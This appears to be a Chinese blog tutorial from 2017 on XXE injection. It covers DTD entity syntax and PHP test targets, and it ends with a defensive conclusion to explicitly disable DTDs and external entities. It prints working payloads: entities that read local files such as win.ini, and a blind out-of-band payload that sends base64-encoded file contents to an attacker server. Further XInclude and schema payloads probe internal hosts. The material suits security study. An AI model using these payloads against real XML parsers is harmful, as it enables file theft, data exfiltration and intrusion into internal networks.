XXE 学习之路:Step by Step
本文是 2017 年对 XXE(XML External Entity Injection)的一次系统性学习梳理。最初是因为 OWASP TOP 10 2017 新增了 XXE 条目(A4:2017-XML External Entities),于是把当时散落在各处的 DTD、实体声明、有回显/无回显利用、XML Schema 拓展攻击等知识点整理成一篇 step-by-step 的笔记。整理时保留了原始 payload 与测试结论,并在关键位置用 note 标注了 2017 年之后的版本演进与现代防护变化,便于对照阅读。
0x00 背景
OWASP TOP 10 2017 把 XML External Entity 单独列为 A4,主要原因是当时大量企业仍把 XML 作为 SOAP / SAML / 配置文件的主要交换格式,而 Java、PHP、Python 各生态对「是否默认解析外部实体」并不一致——一个解析器配置失误就足以让攻击者通过实体定义读取 /etc/passwd 或探测内网。XXE 可以使用 http、file 等协议,所以可以利用支持的协议进行内网探测和内网入侵,这部分内容后续在 SSRF 中补充。
测试环境
- libxml2.9.1 及以后,默认不解析外部实体。测试时 Windows 下使用的是
php5.2(libxml Version 2.7.7)、php5.3(libxml Version 2.7.8);Linux 中需要把低于libxml2.9.1的版本编译进 PHP。 - 参考链接:https://vulhub.org/#/environments/php_xxe/
有回显有报错测试代码:
<?php
$xml = simplexml_load_string($_POST['xml']);
print_r($xml);
无回显无报错测试代码:
<?php
$xml = @simplexml_load_string($_POST['xml']);
0x01 DTD 的基础知识
概念:
- XXE:XML External Entity,即外部实体,从安全角度理解成 XML External Entity attack(外部实体注入攻击)。
- DTD:Document Type Definition,文档类型定义,用来为 XML 文档定义语义约束。可以嵌入在 XML 文档中(内部声明),也可以独立放在一个文件中(外部引用)。由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上 XML Schema。
参考链接:http://www.w3school.com.cn/dtd/
先了解下基本的 PAYLOAD 结构,然后再介绍每部分涉及的知识点:开头进行 XML 声明,然后使用 DTD 声明实体(这里使用了 file 协议),最后使用 XML 获取实体的数据。

DTD 引用方式(简要了解)
- DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
- DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
- 引用公共 DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
示例:
<?xml version="1.0"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以 !DOCTYPE 开始,configuration 是文档根元素名称;PUBLIC 表示是公共 DTD;- 表示非 ISO 组织;mybatis.org 表示组织;DTD 表示类型;Config 表示标签;3.0 是标签后附带的版本号;EN 表示 DTD 语言是英语;最后是 DTD 的 URL。
DTD 实体声明(重点学习)
- 内部实体声明
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成:& 符号、实体名称、分号(;)。这里 & 不论在 GET 还是 POST 中都需要进行 URL 编码,因为参数传入 XML 时 & 会被认为是参数间的连接符号。示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
- 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持 http、file 等协议,不同的语言支持的协议不同,但存在一些通用的协议。
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

- 参数实体声明
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
- 引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
0x02 XXE 的利用方式(DTD)
利用 XXE 漏洞可以进行拒绝服务攻击、文件读取、命令(代码)执行、SQL(XSS)注入、内外扫描端口、入侵内网站点等。内网探测和入侵是利用 XXE 中支持的协议进行内网主机和端口发现,可以理解成使用 XXE 进行 SSRF 的利用——基本上啥都能做了 :)。
一般 XXE 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象,无回显的情况又称为 blind XXE,可以使用外带数据通道(OOB,Out-of-Band)提取数据。
有回显
<!-- 方式一:直接外部实体 -->
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!-- 方式二:参数实体 + 外部 DTD -->
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

当然也可以进行内网站点的入侵(属于 SSRF 的内容,后续补充)。
无回显(Blind XXE / OOB)
可以使用外带数据通道提取数据:先用 php://filter 获取目标文件的内容,然后将内容以 HTTP 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evil.dtd 的内容如下,内部的 % 号要进行实体编码成 %:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>">
%all;
有报错直接查看报错信息。无报错需要访问接收数据的服务器日志,可以看到经过 base64 编码的数据,解码后就可以得到数据。

0x03 XXE 的拓展知识
这些攻击方式需要有某些条件才能正常利用,下文仅对互联网上的一些知识进行梳理,暂未逐一验证。
xmlns 的基本知识
概念:XML Schema 称为可扩展标记语言架构,用来定义 XML 文档的合法构建模块,类似 DTD,Schema 是 DTD 的替代者,它比 DTD 可以做更多的事情。参考链接:http://www.w3school.com.cn/schema/schema_intro.asp
当有多个文档被一起使用时,不同文档可能带有不同内容和定义名称相同的元素,这样就会发生命名冲突,XML 解释器无法确定如何处理这类冲突。xmlns 可以解决这个问题:为标签添加 xmlns 属性,这样就为前缀赋予了一个与某个命名空间相关联的限定名称。此时再把它们放在一起,XML 解析器就不会报错。
<!-- xmlns:abc="url" 表示这个 table 用 abc 作为标记 -->
<abc:table xmlns:abc="url">
<abc:tr>
<abc:td>Apples</abc:td>
<abc:td>Bananas</abc:td>
</abc:tr>
</abc:table>
语法:xmlns="namespaceURI" 表示默认的 Namespace,可以不使用前缀;非默认的便需要使用前缀避免 XML 报错。xmlns:namespace-prefix="namespaceURI",其中 namespace-prefix 为自定义前缀,只要在这个 XML 文档中保证前缀不重复即可;namespaceURI 是这个前缀对应的 XML Namespace 的定义。
xsi:schemaLocation 属性便是 Namespace 为 http://www.w3.org/2001/XMLSchema-instance 里的 schemaLocation 属性。它定义了 XML Namespace 和对应的 XSD(XML Schema Definition)文档的位置关系——值由一个或多个 URI 引用对组成,两个 URI 之间以空白符分隔。第一个 URI 是定义的 XML Namespace 的值,第二个 URI 给出 Schema 文档的位置,Schema 处理器将从这个位置读取 Schema 文档,文档的 targetNamespace 必须与第一个 URI 相匹配。
使用 XML Schema 实体的攻击方式
根据 FB 小编对外文的翻译,XML Schema 攻击分为四类:
schemaLocationnoNamespaceSchemaLocationXInclude- XSLT 攻击
schemaLocation
在 OWASP 的 XML External Entity Attacks 议题中看到过这个知识点,但具体的案例并未找到。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
noNamespaceSchemaLocation
与 schemaLocation 一样,在 OWASP 的 XML External Entity Attacks 议题中看到过这个知识点,但具体的案例并未找到。也给出了 SSRF 的示例,但是在示例中总觉得有些诡异,这也是疑惑的地方 ;|
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;">
</data>
XInclude
在 XML Schema, DTD, and Entity Attacks 文档中有提到,但经过测试和查阅材料,在微软「将 XML 文档与 XInclude 合并在一起」这篇文档中提到并不是所有 XML 语法分析程序都支持 XInclude,W3C 在 XInclude Implementations Report 中列出了支持的列表。include 的 href 属性中可以进行文件读取,也可以使用协议进行 SSRF。freebuf 中是使用 DTD 实体的方式再结合 XInclude 进行利用的——如果可以使用 XInclude,似乎不需要使用 DTD,直接在 href 属性中利用协议获取信息即可;但 FB 这种在属性处使用 &internal; 的思路值得借鉴。
XML Schema, DTD, and Entity Attacks 中的示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include>
</data>
外部 external_entity_attribute.dtd 的内容(根据示例中参数实体 payload 的声明,此处应该可以使用各种协议进行 SSRF 等操作):
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
XSLT 攻击
这个攻击方式在 XML Out-Of-Band Data Retrieval 中有提到,可以通过如下方式先用 document() 获得目标主机的信息,然后使用 concat() 将数据与 evil 主机进行拼接,再用 document() 访问拼接后的地址,便可以在 evil 主机日志上获得信息。
- XSL 中
document()用于访问外部 XML 文档中的节点; concat(string,string,…)用于返回字符串的拼接。

0x04 总结
互联网上 XXE 的文章很多,本文先做知识梳理,方便学习和提高。拓展部分的知识还有许多地方未进行实践和验证,仅是先做个记录方便后续完善和测试,大家如果已经复现过或者有更好场景,期待一起交流。
参考链接
- http://www.w3school.com.cn/dtd/dtd_intro.asp
- http://www.w3school.com.cn/schema/schema_summary.asp
- http://www.w3school.com.cn/xml/xml_usedfor.asp
- https://www.w3.org/XML/2002/09/xinclude-implementation
- http://www.runoob.com/xsl/xsl-browsers.html
- http://blog.csdn.net/sunxing007/article/details/5684265
- http://blog.csdn.net/a19881029/article/details/41890347
- http://blog.csdn.net/zhch152/article/details/8191377
- http://xmlwriter.net/xml_guide/entity_declaration.shtml
- http://www.mamicode.com/info-detail-1208231.html
- http://blog.csdn.net/u013224189/article/details/49759845
- http://www.91ri.org/17052.html
- http://www.91ri.org/9539.html
- http://www.91ri.org/12618.html
- http://www.91ri.org/12814.html
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
- http://www.freebuf.com/articles/web/126788.html
- http://www.freebuf.com/articles/web/97833.html
- https://msdn.microsoft.com/zh-cn/library/aa302291.aspx
- https://security.tencent.com/index.php/blog/msg/69
- http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
- https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
- https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
- https://github.com/BuffaloWill/oxml_xxe/tree/master/samples
- https://github.com/CHYbeta/Web-Security-Learning#xxe
写在最后
回看这份 2017 年的笔记,最容易踩的坑不是 payload 本身,而是「装作已经修了」的错觉——很多团队以为升了 libxml2、关掉 allow_url_include 就等于解决了 XXE,但实际上 OOB 数据外带、XInclude、XSLT 这几条路径根本不依赖那些开关,根因仍然是「把外部 XML 当作可信输入解析」。本质上,XXE 修复的真正动作是显式禁用 DTD 与外部实体,而不是寄望于解析器的默认值。
希望这份整理对刚入门的朋友有帮助——知己知彼,安我之防。